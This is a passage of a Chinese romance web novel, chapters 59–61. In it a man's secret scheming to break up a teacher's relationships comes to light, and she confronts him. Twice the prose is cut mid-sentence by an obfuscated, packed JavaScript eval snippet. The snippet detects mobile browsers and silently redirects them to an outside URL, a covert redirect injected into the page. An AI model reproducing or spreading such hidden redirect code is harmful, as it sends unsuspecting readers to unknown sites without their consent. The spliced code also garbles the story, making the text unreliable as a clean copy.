宋乐看了看表,想着距离下午的足球课还有几个小时,正愁没地方打发小祖宗,道:“成,我去买点吃的,一会儿你们下课咱哥俩喝点儿。” 待到下午过后,皮皮在李北辰的书房玩起了心爱的游戏机,宋乐开了那瓶李北辰壁橱里他一来就惦记上的红酒。 “宋哥一会儿开车没事吗?”李北辰道。 “有代驾。”他反正不会错过喝这瓶酒的机会,见李北辰这么识趣地把酒拿出来,他的喜色藏都藏不住了。 李北辰似乎并不怎么爱喝酒,他一直给自己倒着,但面前的酒杯也没见下,宋乐之前和他接触时就发现了这点,他总是象征性地应付,但从不会主动端起酒杯。反正也不是什么正式场合,他便放松了些,和李北辰聊起了闲天。 “这杯我敬你,多谢你对皮皮的照顾。”宋乐找着敬酒的理由。 李北辰和他碰了下,只在唇边抿了抿,答:“是皮皮优秀,他懂事聪明又可爱,让人很难不喜欢他。宋哥……教得好。” 宋乐听到这话不禁心内有些感慨,他摇了摇头,诚实回道:“是知难教的好,皮皮被奶奶带着的时候,淘着呢,只有知难能管住他。” 思及此,他突然长叹了口气。 “宋哥怎么了?”李北辰问。 “没事。”他摇了摇头。 李北辰又帮他倒了满满一杯,道:“有事不用憋着,说出来心里能舒服点。” 宋乐拍了拍李北辰的肩膀:“北辰,不说别的,你的性格是真好啊,要是我们家皮皮长大能像你似的,谦谦君子,我得多自豪。” “宋哥你客气了。” “我说真的,我跟你相处就觉得舒服,感觉跟你说什么你都能懂我,咱哥俩之前工作上几次接触,每回我都得欠你点人情,但是你就让我欠得非常舒服。”宋乐道,“我这人可不是能欠人家情的人,我能混到现在这个位置,那也是见人说人话,见鬼说鬼话的,什么人什么样我心里都明镜似的。可唯独你,你不图我什么,上回元宵节,我们单位有人写了副字,清风朗月,我当时就想到你了。北辰,你在哥心里,就是这样的,清风朗月。” “抬举我了。”李北辰举起酒杯和他碰了碰,“宋哥,要是有心事,可以和我聊聊,我看你心情不太好的样子。是和女朋友吵架了?” 宋乐摆摆手:“跟小柳没关系,是李知难的事。” “李老师?” 宋乐酒喝得有些上头,看着李北辰的脸,就忍不住一股脑,把藏在心里从不对外人倾诉的秘密借着酒意说了出来:“哎,你哥我啊,也挺可悲的,我当年算是捡了漏,才侥幸追上了她这么个大美女。这些年,人前是风光得很,谁不说我宋乐命好,娶北大毕业的大美女回家。但是,婚姻里的苦,只有我自己知道。你知道什么叫举案齐眉相敬如宾吗?我告诉你,那就是客气恭敬得跟同事没什么两样。单位里人家媳妇拎着擀面棍,一哭二闹三上吊,各种管着自己爷们儿,我呢,外面我怎么喝怎么玩儿,我媳妇压根不带管的。那她当然不管了,她巴不得我不回去呢,我跟她多少年没睡过一个屋里了。我当时觉得,你就是块冰,这么些年我不也能给你化了吗?现在我明白了,她不是冰,她就是心里没我,她遇到那个人之后,和普通的姑娘也没什么区别,只不过她心里那个人不是我。” “那个人……”李北辰并不是问他,因为他比宋乐更清楚,她心里的人是谁。 “这事我都没脸跟我哥们说,跟谁我都没说过,我也就跟你念叨念叨。”宋乐灌了口酒,“那男的回来了,应该是知道她离婚了,过来找她了。” 李北辰:“什么时候的事?” “曲子格过生日的时候,他也去了。”宋乐摇了摇头,“李知难这人多心高气傲你知道吗?天塌下来都有她李知难的自尊心顶着,我出轨她眼皮都不眨一下,这么多年,就连生孩子疼成那样,她李知难也没哭过一回。可那天我亲眼看着,她对着那男的,哭得满脸眼泪。” 李北辰像是被定在了原地。她,又见到他了,又哭了。 “所以说,这世界上哪有什么高冷的人,什么理智的人,那都是因为人家不爱你,不在乎你,所以对你的态度就自然而然地冷淡,对你这个人也无所谓,”宋乐自嘲道,“谈恋爱也好,结婚也好,哪怕是她给你生了孩子,都不好使,她心里的人就那么一个,这么多年,能让李知难露出那种表情的人,只有那孙子一个。” 宋乐见他不说话,道:“北辰?北辰?是不是我说太多了。” 李北辰突然低头将杯子内的酒一饮而尽,道:“没有,我喝得有点上劲。” 59. 我也无路可退 李知难再见到李北辰是一周之后的钢琴课,皮皮蹦蹦跳跳地和他打招呼,李知难也微笑着问候道:“好久不见。” 李北辰罕见地端出了张没表情的脸,回道:“李老师好。” “皮皮,来把上节课的曲子弹一下。”李北辰安排道。 李知难照例在书房等着,她坐得无聊,开始准备教案,才写到一半,正好到了例行课间休息的时候,李北辰平时都会走过来和她聊两句,许久未见,她本有很多话想和他说。但是今天的李北辰一反常态,没有过来。皮皮就在那边,她觉得自己也不好现在过去打扰。 直到下课,李北辰也没同她多说一句。 “好,今天就到这儿,记得回去练练指法,巩固一下。”李北辰交代道。 “今天的课好无聊。”皮皮埋怨道,“之前咱们玩的找那个钢琴谱子游戏,今天也没玩。” “钢琴不是游戏,弹钢琴也不是闹着玩的事情。”李北辰看着他,突然正色道。 皮皮没见过他这样,眼睛微微有些不解,担心自己说错了什么。 李知难看他这态度,心下隐隐知道有事不对,她转头对皮皮道:“你去那边玩儿会儿游戏好吗?妈妈和李老师说点事。” 皮皮乖乖地走了过去,李知难才开口:“你心情不好吗?” 李北辰看着那样的皮皮,也颇为后悔,低头道:“我刚才态度不好,一会儿我和皮皮道歉。” “你也没说错什么,你是他的老师,对他严厉也是为他好。”李知难并不在意这些,毕竟除了李北辰以外,也没哪个老师天天哄儿子似的哄着他,多少都会有些严厉的时刻,这对皮皮来说也未尝不是件好事,只是她不懂李北辰今天为什么会一反常态:“是工作有什么不顺心的吗?” “不是。”李北辰摇头。 “那家里出什么事了?” “没有。” “那你今天怎么了?” “我今天怎么了?” “你情绪不太对。”李知难坦白道。 “我下回上课前会好好调整的。” “我不是这个意思,”李知难解释道,“我是说,你要是有什么心事可以跟我说,……要是你愿意的话。” “我不愿意。”李北辰的口气仍然是温柔的,但这四个字无论用什么口气说出来,都没办法削弱它的攻击力。 “那好,下周见。”李知难的表情僵在了脸上,她识趣地结束了对话,唤皮皮过来,匆匆离开了。 直到深夜,李知难洗漱后仍然对上午的事情耿耿于怀,她想不明白李北辰这莫名其妙的态度是唱的哪出,左右琢磨,猜测最可能的原因应该是他工作太忙了,还要兼顾皮皮上课这种小事,他也许不情愿了?又不好和自己直接说? 想到这儿,便发了条信息给他:你要是工作忙的话,我可以给皮皮换个老师。 李北辰立刻回复了:我在你家楼下。 李知难意外地跑下来,看到在楼道口坐着的他,意外道:“你怎么在这儿?” “我不知道去哪。”他抬起头,眼睛似有千万情绪,却找不到发泄的出口。 “李北辰,到底出什么事了?”李知难见状心内又些着急。 李北辰的表情带着愧意,道:“上午的事,我话说得不好听,对不起。” “那没什么的,”李知难看着他的举动,心中忐忑,“你到底怎么了?” 李北辰仍旧仰头看着她,可刚才的愧意消失了,语气冷了些道:“我那种态度对你,说那样的话,你也觉得没什么?” “对啊。”李知难答。 “如果反过来,你用那样的态度对我,我会很难过。”他似乎有些生气。 “我也没用那种态度对你啊……”她不知道他在说些什么,难不成真是工作压力大到心理出问题了,她想到自己曾经对他的态度,暗暗怀疑,还是他这是在翻旧账?“……呃……我以前对你态度确实不好,但是我记得咱们不是翻篇儿了嘛?” “你真的会翻篇儿吗?”李北辰又急忙追问。 “不是,你大晚上不回家,在我家楼下坐着,不对,你在这儿坐了多久了?”李知难突然想到。 “不知道。” “要不你上来说吧,外面冷。”她邀请道。 “不了,”李北辰起身,摇了摇头,“我走了,打扰你了。” 李知难拉住了他的胳膊:“你这样我很不放心,究竟出什么事了,就不能坦白告诉我吗?” “我们……”李北辰纠结了良久,才将话补充完整:“算什么?” 李知难被他问愣了。她没想到他会这么迫不及待地问她这个问题。 “你当我没说吧。”李北辰收回被她拉住的胳膊。 冥冥之中,上天似乎注定好,他和李知难的距离是恒定的。 他是她弟弟的朋友,当他第一次认真告白,用尽了所有勇气告诉她长大以后他要找她做女朋友,李知难当做玩笑逗他说,你这小孩儿还挺有眼光的。 后来他成了她的学生,曾经和同学一起去看电影时,偶遇过她和裴方禹。当时的场景让他僵在原地,像是被人从山顶上推下去一般,摔得粉身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654824|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎骨,可她笑盈盈地看着他和身侧女生,半真半假地训他,可不许早恋啊。 她的男朋友抛弃了她,得知消息的自己逃课跑去了医院,寸步不离地陪在她身边,不清醒的她误把自己当成了她负心的前男友,哭着亲了他。他心跳得飞快,哪怕是偷来的属于别人的吻,也让他如此满足。可清醒的她听到他叫她的名字,懵懂地说爱她时,立刻黑下脸生气地让他滚出去。 她结了婚,有了孩子,这些都没能让他死心。他像是一只邪恶匍匐的蛇,伺机接近她的丈夫,蛰伏在黑暗里等待,漫无止境地等待,只消一个机会出现,他就会狠狠地咬上去。 终于,那个缺口出现了,他主动帮宋乐制造机会,期盼着他、等待着他做出错误的选择。 得逞后,他又一次次机关算尽地把证据送到她面前。 当李知难在KTV内看到两人亲热时,他就藏在旁边的阴影里。 当他知道宋乐那日在楼上约会时,他故意留她在咖啡厅。 她越想装作看不到,他就越要她看清楚。 她离婚了。他第一次走到了离她这么近的地方,似乎眼前的她已经触手可及了。 他一遍又一遍地在心里警戒自己,欲速不达,小心翼翼,徐徐图之,只要你等得住,总有她看到你的一天。 他本来觉得自己能一直这样,哪怕要等她一生都可以。 可裴方禹的出现将这一切都打回原形。 有些人,天生就被上天眷恋,出场的那一刻就被赋予了完美的身份,就算他不用任何手段也能轻而易举地得到她的心,就算他做了再多的错事也能被她原谅,他就像是被设定好的男主角,带着天然的光环,而自己这一生都只是阴暗角落里见不着光的配角,如果敢多奢望些,就可能会被她从人生的故事中彻底剔除。 李北辰看着镜子中的自己,缓缓地解开了衬衫的扣子。 他的胸口处纹着两个字:不退。 是那年六月三十日,她婚礼当天,他去纹的。 李知难曾经和他说过自己名字的来历,人生没有顺风顺水,早晚会经历大小波折。生而为人,能够知难是一种境界,大部分人都提倡迎难而上,而李爸爸给她取名叫知难,则是希望她能在人生的路上,不要盲目冲动,一厢情愿,希望她能知难,知苦,知坚,知止,知不可,知而退。 这个名字放佛冥冥中成了他和李知难的谶语。 可他偏不服这些。命运若是要他知难,那他偏偏不退。 “我不会后退的。”他看着镜子中的自己,喃喃道,“我也无路可退。” 60. 我不需要你这种喜欢 周一放学后,李知难接到了曲子格电话:“江湖救急。” 李知难道:“我就那点存款,我可全给你了。” 曲子格答:“不是,你明天能不能调个班,帮我个忙?” “怎么了?” “我跟王总来深圳参加会展了,但是刚才新校区那边联系我,说是明天有消防工商联合检查,让负责人过去。我本来是想找书维的,可她说她明天要去区里开会,资料跟文件都在我办公室柜子里,到时候你就帮我配合负责人取一下东西应付一下就行。” 李知难看了看明天的课表,无奈道:“那我问问楚老师能不能请假吧。” 第二天她一早到达曲子格的新校区时,门口已经有人在等她了。 “你怎么在这儿?”她看着裴方禹,觉得自己八成是上了曲子格的当。 “小曲说需要有擅长和政府打交道的人,书维就给她推荐了我。”裴方禹回道,“吃早饭了吗?要不要先去吃点东西?” “你就是她的那个负责人?”李知难问道。 “是的。”裴方禹点头。 李知难没好气地联系曲子格:“你憋什么坏呢?” “我怕我提前告诉你是裴哥,你不愿意去。”曲子格坦白道。 “不是,那你让他来,你还找我干嘛?”李知难不解道。 “我那个密码锁的密码不能告诉他啊,所以我让他带你一起去。”曲子格回,“你们都是我的投资人,就当是检查一下自己的投资项目吧。辛苦你了知难,爱你爱你。” 李知难无奈地挂掉了电话。 “去吃点东西?”裴方禹再次提议道。 李知难看了看表,回道:“他们几点来?” “我也不知道,通知是今天,但是没通知具体时间。”裴方禹回。 “那我们要在这等一天?”李知难不悦道。 “如果需要的话,确实可能等一天,”裴方禹回道,“政府部门一天要做的工作很多,也不是只有这一个地方需要进行检查,所以我们只能等。但是现在的工作效率和精准度也是很高的,他们说今天来,今天就肯定会过来的,你放心。” 李知难小声念叨道:“我不放心的是这事么?” “你说什么?” “没说什么,”李知难将包放在一边,掏出笔记本电脑准备办公,“饿你就自己去吃吧,我忙会工作。” 裴方禹在她身旁找了把椅子坐了下来。 李知难知道他在看着自己,强忍着打了十几分钟字之后,坐立难安地起身。 “你去哪?”他问。 “去曲子格办公室取文件,一会儿检查的人过来需要。”她答道。 裴方禹:“你不会想取完东西,就把我自己一个人扔在这儿吧?” 李知难突然反应过来,是啊,自己就是个开密码锁的,干嘛要跟他在这里耗一天。便道:“对,我就是这么打算的。” 他开口又道:“你就这么害怕跟我待在一起吗?” 李知难回头看他,“我为什么要害怕?做错事的人又不是我。” “一会儿检查的人来了,要是问我一些刁钻的问题,我可能回答不上来,你在这儿我们也好有个照应。”他说道。 “您裴大领导都答不上来的问题,我能帮什么?”李知难还是带着刺的态度。 “那就只能委屈小曲老师了,反正校区是她的,出了事也需要她自己多担待。” 李知难眯着眼睛,看着他威胁自己的样子,又坐了回来:“裴方禹,你出钱到底是真的想投资她,还是因为我?” “你觉得呢?”他反问。 “我问你呢。” 裴方禹一脸澄明地看着她,“你觉得是哪个,就可以是哪个。” “你做这些多余的事情没有任何意义,别说投资曲子格,你就算是把我们学校都买了,我跟你也不可能。”李知难坚决道。 “我知道,”裴方禹轻笑,“我也没有那么大的本事买你们学校。” “那你在这浪费时间干什么呢?” “我不觉得是浪费时间。” “我说你在这儿浪费我的时间干什么呢!”她气道。 “我如果约你吃饭喝咖啡,你也不会同意,那我还能有什么办法?”裴方禹一脸无奈。 “你可以放弃。”李知难回道,“死缠烂打的人设不适合你。” “犯了错的人就要接受惩罚,至于惩罚内容和惩罚时间,我没有选择权。”裴方禹回道,“但是,就算是惩罚,我也心甘情愿,毕竟之前我连被惩罚的资格都没有,现在这样我已经很知足了。” 李知难看着他,像是那日无法将自己和曾经那个女孩联系到一起一般,当下也无法将他和曾经那个意气风发的男孩联系到一起。 他是她见过唯一比她自己还要骄傲的人,他的自负自傲自命不凡,是最初吸引她的原因,也是导致他们分手的理由。李知难心里承认,他有资格拥有这些自以为是,因为他的确有这样的资本。然而当千帆过尽,站在了人生巅峰的裴方禹完全可以俯视她时,却意外地选择了在她面前仰视她。 这是爱吗? 能让那个不可一世的男孩变成委曲求全的男人,是……因为爱吗? 李知难震惊于当下自己的想法,可反过来,推人及己,自己这些年不肯原谅他的执念又是因为什么呢?他可以放下的骄傲尊严她却要一直高举头顶,是自己境界上不如人还是……其实从始至终都是他爱她更多? 裴方禹小声道:“知难?在想什么?” 李知难低了低头,道:“门口有家麦当劳,你想吃什么?我去买。” “咖啡。”他微笑道,“谢谢。” 李知难推门出去,早春的晨光异常耀眼,她恍惚看到门口站着高瘦的身影,还没来得及看清他的脸,就已经能分辨出他是谁了。 “你怎么在这儿?”她嘴上这样问,心里也有了答案。奚西和曲子格,其中有一个人告诉了李北辰今天自己会来见裴方禹的事情。 “跟我走。”他轻声道,那语气带着丝命令,却又不敢显露太多。 “我这边有事。”李知难解释道,“正事。” “我都听到了,”李北辰没有隐瞒自己在门外的行为,“他想挽回你,就是你所谓的正事?” “那是他的事,我今天过来是帮曲子格处理一些事情的,你不要一概而论。”李知难答。 “是我一概而论,还是你在欲盖弥彰?”李北辰手攥成了拳头,质问道:“你忘了他做过什么吗?” 李知难被他那句“欲盖弥彰”说得下不来台,反驳道:“我忘不忘不重要,但是你为什么要记得?” “跟我走。”李北辰拉住了她的胳膊,声音也微微提高了些。 李知难谨慎地看向屋内,生怕被里面的人发现一般,道:“李北辰,你松手。” “怕他看到?”李北辰嘴角微微颤抖着,如同每个神经细胞紧绷在一起,被他硬生生压制住,“怕他看到就跟我走。” 李知难意识到自己刚才的动作让他误会了。与其说怕被裴方禹看到,她下意识更怕裴方禹看到李北辰。不只是裴方禹,她害怕任何人看到和自己如此拉扯不清的李北辰。她冷静下情绪,道:“你松开我行不行?有什么事我们回去说。” 李北辰攥着她的手没有要放开的意思。 李知难正色道:“李北辰,这是我的事,你注意一下分寸。” “那我们算什么?”李北辰眼框泛红,强忍着回道,“我算是什么?” 他选择在最不恰当的时机,问了她这个最不恰当的问题。 “李北辰……别胡闹。”她的态度再次变回了之前老师的模样。那些所谓的“朋友”、“平等”,就像是大人在糊弄小孩时选择的冠冕堂皇,一旦遇到真正的问题,他们永远是那个高高在上的大人,他们的态度也永远只有千篇一律的“听我的。” 李北辰终于放开了她的手。 “李……”李知难看着他转身离开的背影,下意识想叫他的名字,可才开口就又被自己咽在了喉间。 他的背影被晨光晃成了一条虚虚实实的黑线,越来越远,越来越不真切,李知难看着这画面,只觉得自己心脏没来由地突突犯着疼。 晚上的腾讯会议里,李知难像是冷面判官,画面上的另两位各有各的鬼胎,还有一位在一旁专心处理文件。 “说吧。”李知难双手抱胸前,“你们俩谁出卖了我?” 孙书维道:“要不你们自己商量吧,我这儿还有会议记录要写呢。” “你不许走,”李知难道,“你必须留下给我做个见证。” “我借你一个耳朵,”孙书维道,“你们该说说你们的,我mute了。” 李知难看着另外二人:“先说的酌情减刑,嘴硬的坚决不饶。” “裴方禹威逼利诱,我拿人家的手短啊……”曲子格求饶道。 奚西小声道:“我师哥帮了我很多……我欠人家的手也短。” “手短?手短你俩还能把我推出去?!”李知难气道。 曲子格:“怎么样,是不是那种两个男人一人抓一个手,让你做选择?是不是我电影里看到的那种?” 李知难警告道:“你给我把你八卦的眼神收一收!” 孙书维突然开了麦:“什么情况知难?这么戏剧化吗?” 李知难:“没有,我才不会允许这种场面发生在我的人生里!” “怎么,你浪漫过敏啊?” “我狗血过敏。” “不应该啊,咱们四个里还有比你更狗血的吗?”曲子格天真烂漫的,“前夫身在福中不知福,出轨离异,初恋远赴异乡多年归来,深情不改,还有个小鲜肉,从小就惦记你,终身不渝,你再看看我们,书维一心一意跟老路,奚西和那个副总虽然乱七八糟的,但是也没换过人,我这边竹篮打水,跑了个吴思齐,也断了个顾清辛,还得是你啊知难,大美女就是大美女,一出手就三个起。” “你给我闭嘴!”李知难直接从椅子上站了起来,对着屏幕里的曲子格怼道。 “那到底是什么情况啊?”曲子格急忙问道。 “我审你你审我?”李知难反问。 奚西道:“知难我错了,我不应该背着你给我师哥传信儿,可是他对你是真心的,而且另外两个人都辜负过你,我师哥没有。” 曲子格道:“那我就不爱听了,人活在世谁不犯错啊?知错就改也是好同志。” 孙书维插嘴道:“你这是替谁说话呢?宋乐吗?” “当然不是了,宋乐那个人渣扔就扔了,多瞧他一眼都是给他脸了。但是裴哥不一样啊,裴哥现在事业有成,工作稳定,关键是和你年龄匹配,你们也有感情基础,难道不是最佳候选人吗?” “不是,我师哥事业也很好,我师哥还比他长得帅,再说年龄怎么了?年轻的体力还好呢。”奚西反驳道。 两个人争论下,曲子格拉外援道:“书维你说,你是最讲道理的。” 孙书维回道:“我也觉得裴方禹条件更合适。” 李知难叹气道:“今天开会是这个主题吗?你们别聊那些没用的行不行。” 曲子格道:“那你说,你说你觉得谁更好?” 李知难气道:“我觉得我自己最好,散会!” 她关上了电脑,却怎么也没办法把自己的脑子从这一堆乱七八糟中摘出来。 早晨李北辰的背影像是刻在了她视网膜上,只要她闭上眼,就反复自动在眼前播放,搅得她心神不宁。身体像是有记忆一般,脑海中回放那场景时,当时心脏突突的痛感也随着一起汹涌而来,她拿出手机,看着和李北辰的对话框,反复上下划,却不知道该和他说些什么。 手机突然响了起来,她看到上面的来电显示时,不由生出一丝失落。 “知难,之前有件事我们还没有说完。”裴方禹在那边轻声道。 “什么?” “我那天没有去机场,我去医院找你了。”裴方禹道,“我知道这也许不能改变什么,但是我还是想告诉你。” “我……没见到你。”李知难答。 “在门口碰到了熟人,”裴方禹道,“孟卿怡的表弟,当时好像也是你的学生。他跟我说你没事了,但你不想见我,所以我才走了。” 李知难心中突然生出了另一种预感:“你还记得他的名字吗?” “记不太清了。”裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661229|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方禹答道。 李知难:“我还有事,我先挂了。” 她手微微颤抖着,拨通了纪修的电话,只听到那边传来一阵嘈杂。 “你在哪呢?”她问道。 “和李北辰在喝酒。”纪修回答。 “他……没事吧?” “喝多了。” “你把地址给我,我现在过去。”李知难答道。 一切都是有迹可循的,只不过是看人什么时候能够连接起那些痕迹。幸运的话,也许一辈子都可能被蒙在鼓里,不幸的话,一个不经心的端倪就能引爆整片坍塌。 李知难到酒吧的时候,李北辰已经趴在桌子上不省人事,一旁的纪修玩着手机等着她。 “人交给你了,我走了。”纪修见她来,起身准备离开。 “等等,我有话要问你。”她将纪修拉到了旁边。 “问吧。”纪修似乎在赶时间,看着手机催促道。 “孟卿怡你认识吗?”她开门见山道。 纪修思索了一下,回道:“耳熟,好像是李北辰的亲戚,他姑父姓孟。” “他姑父做什么的?” “现在退休了,之前外交部的。”纪修答。 “李北辰和裴方禹去西班牙的事情……有关吗?”李知难看着他,冷着脸问道。 纪修这才想起来自己为什么会觉得这个名字耳熟。当年他们在电影院偶遇李知难和裴方禹,之后几天李北辰各种旁敲侧击和他打听裴方禹的消息。纪修一直不解他打听这些有什么用,只当他这不死心的小强想找个奋斗目标做参考,却没成想他的心思远比自己想得深。 纪修看着姐姐的表情,也明白自己瞒不住她。以李知难的性格,如果不是确定了大半,不会问到他这里。“不算太有关系,但也不能说没关系。李北辰跟他姑父说自己认识一个适合他表姐的青年才俊,就把你那个刚入职的初恋介绍给他姑父了。但之后的事和他无关,他也没有那么大的本事,一个高中生还能管得了外交部的人事变动吗?” “高中生不能,成年人能做的就多多了。”李知难话里有话道。 纪修怕自己的话有歧义,道:“他真的就嘴欠过一次,之后你难过成那样,他再也没动过裴方禹的主意。这点我可以保证。” 李知难看着他,终于接受了自己之前的推断,回道:“他是没有再打裴方禹的主意,但是打了宋乐的。宋乐的女朋友就是他亲手安排的。” 纪修的脸瞬间冷了下来,他几步走回酒吧卡座,不管不顾地拎起了李北辰的衣领,本就头晕眼花的醉鬼瞬间回了神。 “你对我姐干什么了?”纪修的拳头已经攥好了,就等他承认之后挥过去。 李知难上前拉住了纪修的胳膊。“纪修,别闹。” “我问你话呢。”纪修冷声道。 李北辰并没有反应过来当下的情况,只是一脸懵地看着她二人。 “我的事我自己处理,”李知难交代道,“你先走吧。” 纪修松开了手,又看了眼手机,不放心道:“你确定吗?” “大人的事用不着你小孩管。”李知难对他挥手,“走吧。” 纪修拿起了外套,一边往外走一遍嘴里念叨着:“他就不是小孩了么……” 半个小时的功夫,李北辰的酒终于醒得差不多了。他看着对面的李知难,恍惚中还记得刚才发生的事情,但又找不到任何逻辑因果将前后联系起来。 “喝点水吧。”李知难将蜂蜜水递过去,“喝了好受点。” “谢谢。”他接了过来。 “不能喝酒就别喝这么多。”李知难忍不住教育道,“喝酒也解决不了问题。” 李北辰放下了手中的杯子,看着她轻声道:“那怎么才能解决呢?” “你要解决什么?”李知难问。 “是不是对你来说,我才是那个应该被解决掉的问题?”李北辰看着她的眼睛,“我妨碍到你们了,对吗?” “李北辰……” “不,你让我说完吧。”李北辰道,“其实我自己也知道,你对我的好,不过是因为你离婚了,上赶着献殷勤的我钻了空子。你是可怜我,就像当年可怜宋乐一样。说到底,我和他没任何差别。” 李知难道:“不要对你不清楚的事情妄下评论,你说你自己的事就好,不要扯到别人身上。” 李北辰冷笑道:“你已经不是我的老师了,我不需要你来教育。” 李知难知道自己下意识“好为人师”的习惯在这个时候会刺伤他的自尊心,还没来得及解释,只听李北辰又道:“从始至终,你爱的人一直是裴方禹,只有他能牵动你的情绪,只有在他面前你才是真实的李知难,现在他回来了,不管他当初是如何抛弃你,伤害你,你都迫不及待地想回到他身边,那我是不是应该恭喜你,苦尽甘来了?” 他口气尖酸刻薄,完全如同另外一个人。 可是自己又了解他多少?他在背地里做的这些事,本来不就陌生得像是另外一个人吗? 说到底,不是他变了,而是自己从没有仔细了解过,在那个干净清朗的他身后,究竟生着多少蛆虫。 她觉得心里凉凉的。 他也算自己看着长大的了,哪怕真相之前呼之欲出,她也选择忽略掉这个可能。因为他是李北辰啊,那个从小就清润明朗的男孩,那个真挚赤诚的男孩,他应该是天上耀眼夺目的星辰,不该堕入世间这些蝇营狗苟。 李知难的失望混着寒心,至于其他矫揉在其中的情绪,她已经分不清了,她几乎是紧咬着牙根,从口中说出了这句话:“你又有多高尚?因为你的喜欢,就要破坏我的爱情,拆散我的家庭?你以为你是谁?你凭什么这么做?” 李北辰僵在原地。 她知道了,她全都知道了。 她知道了宋乐的出轨是自己安排的好戏,她也知道了当初她哭着恳求的人并没有抛弃她,自己的一切算计都是机关算尽地为他人做嫁衣。 如同雪山崩塌一般,零星雪花滚成庞然巨石,横冲直撞地席卷一切,也将李北辰彻底打回原形。光被乌云一丝丝侵蚀,直至再也看不到半丝天日。 “我不需要你这种喜欢。”李知难头也不回地离开了他。 61. 新恋情 春天稍纵即逝,初夏的北京像是女孩的脸,温温柔柔的好看。学校里高三的学生们马上要迎来最后的冲刺,而另一边曲子格的新机构也在一番准备后正式营业,李知难捧场地把皮皮送过去替她开了第一单。 “最近怎么样?”开业仪式结束后,许久未见面的李知难和曲子格在一旁闲聊。 皮皮正在操场上和小朋友跑步,李知难回道:“还那样,你呢?” 曲子格指了指身上的正装,假模假式地回道:“我?看不出来吗?现在已经是女企业家了。” 李知难笑道:“祝你发财。” “知难,你和裴哥最近没联系吗?” 李知难摇头:“最后冲刺了,你知道的,这阵子挺忙的。” 曲子格道:“是不是当老师的功成名有很长的延时性?你看,评级要熬年限,升职要等位置,最好的情况就是某一个学生突然功成名就了,在采访里说,你是当年改变他人生的老师,你就跟着一起沾光。那这么来看,什么时候才算是真的成功呢?” 李知难道:“我在当上班主任那年,就觉得自己成功了。” “当班主任又不是什么好活儿,钱没多多少,活翻了好几倍。”曲子格不同意,“你要是说那天你评上了特级教师,那我是认可的,班主任……算不上。” “我现在这么努力做教研写论文,确实是为了以后有机会评特级,但那些都是外在的。我也不需要谁功成名就的时候说我改变了他的人生,我自己觉得我在孩子们的人生中起了作用,我就挺满意的。”李知难总结道,“我们对功成名就的定义不同。” “也不是那么不同,比如我这个校区要是搞起来,我觉得就算是功成名就的一种,你说的没错,不一定非要培养出个姚明才骄傲,我培养出几十个未来的教练,也是大功一件。”曲子格道,又伸了伸手指:“要是明年能顺便赚这个数,那就更锦上添花了。” 李知难看着她的手指,笑道:“钻钱眼儿里了吧你。” “哎,那你最近跟李北辰联系了吗?”她的男主角一号失利了,就开始八卦起男主角二号。 “没有,都是宋乐送皮皮去上课的。说起来,我有点想给皮皮找个机构了,这样总去李北辰家里上课也不是办法。”李知难道,“也算是无心插柳柳成荫,我本来是为了锻炼皮皮的耐心才让他学钢琴,没想到他还有点天赋,弹得不错。” “不是吧,要鸡琴娃?那可得下大功夫。”曲子格最近了解了培训市场,对李知难这个决定有些佩服。 李知难摇头道:“我就是觉得以后他如果有些不能对外人说的情绪,至少有种发泄的方式,算是个爱好。” “想发泄那方法多了,北京还有那种专门搞块儿地放让你砸稀巴烂解压的呢,你让皮皮弹两下钢琴发泄?”曲子格摇头不认可,“你真的不是拿皮皮当幌子,就为了有个正当理由见李北辰吗?” “别瞎说。”李知难否认道,“我肯定不是的。” “那就好,不过最近你离他远一点也是好事。”曲子格想到了网上的评论,讪讪道。 “为什么?” “你不上网吗?”曲子格道,“李北辰最近可火了。” “为什么?” “文诗新专辑不是发了吗?然后宣发有一段李北辰在她首唱会上唱歌的视频,现在都传他跟文诗是夫妻档,反正炒得挺热闹,说什么的都有。”曲子格道,“你没看到那视频吗?可火了,热搜第一。” “……是么?” 李知难晚上自己一个人的时候,悄悄拿手机搜到了那条视频。李北辰站在舞台中间,温柔地唱着《祝君好》。 他还会粤语啊…… 他原来唱歌这么好听…… 李知难透过小小一方屏幕,看着舞台灯光下的他,静谧的舞台上耀眼的他,温柔地歌唱:“任由你,来去自如,在我心底仍爱慕。” 她伸手去摸屏幕上的那张脸。 好看的眼睛,好看的鼻子,好看的嘴唇,恰到好处地长在那张好看的脸上。音乐和灯光的加成,让他的好看愈发陌生,越发遥远,不再是那个能陪她放烟花,和她去滑雪的男孩,而变成了千千万女孩为之疯狂的明星。 他是天上的一颗星辰。评论里有人这样夸奖着他。 李知难无意间看到了文诗粉丝发布的相关内容,一些文诗专辑筹备和宣发日程的时间。她看着上面的日子,想到了那天在酒吧内最后一次见他。 正好是专辑发布前的最后几天,他那一阵子应该很忙吧,第一次运营这么大的项目,处理这么复杂的问题,那时候的他应该也是心力交瘁的吧? 手指不听使唤地翻着相关信息,许多文诗的机场照、行程照后,都有将帽檐压得低低的他。他陪着文诗一起跑了十几个城市,四五个国家,只要有心,这些都可以在网上找到蛛丝马迹。 他似乎瘦了,不都说镜头会让人胖十斤,可怎么在镜头里的他,反倒像张薄薄的纸片,永远低头,永远用手挡着脸,让人看得不真切,可又心里酸酸的。 